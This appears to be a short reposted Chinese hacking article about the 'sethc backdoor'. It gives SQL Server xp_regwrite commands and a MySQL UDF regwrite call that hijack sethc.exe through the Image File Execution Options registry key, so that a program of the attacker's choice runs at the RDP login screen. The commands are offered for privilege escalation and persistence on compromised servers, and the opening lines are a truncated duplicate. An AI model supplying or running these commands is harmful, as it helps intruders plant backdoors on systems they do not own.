SA权限下的映象劫持语句

http://www.heibai.net/articles/hacker/base/2009/1205/3666.html

SA权限下有时不能执行命令,下面给出注册表提权的劫持语句 :exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE// Microsoft//Windows NT//CurrentVersion//Image File Execution Options//sethc.exe','debugger','REG_SZ','c://windows//explorer.

 

　　

SA权限下有时不能执行命令,下面给出注册表提权的劫持语句

:exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE// Microsoft//Windows NT//CurrentVersion//Image File Execution Options//sethc.exe','debugger','REG_SZ','c://windows//explorer.exe'
:exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE// Microsoft//Windows NT//CurrentVersion//Image File Execution Options//sethc.exe','debugger','REG_SZ','c://windows//system32//taskmgr.exe'
 

写注册表函数.
select regwrite("HKEY_LOCAL_MACHINE","SOFTWARE// Microsoft//Windows NT//CurrentVersion//Image File Execution Options//sethc.exe","Debugger","REG_SZ","E://web//170stock//admin//include//explorer.exe");

通过udf提权加上regwrite这个函数
然后改注册表，把sethc.exe 的路径改成了我们想运行的程序（比如cmd）
然后连3389，按下5次shift就执行我我们的程序，很好，就是sethc后门原理

不过管理组做了手脚，我们加到localgroup administrators的用户进不去3389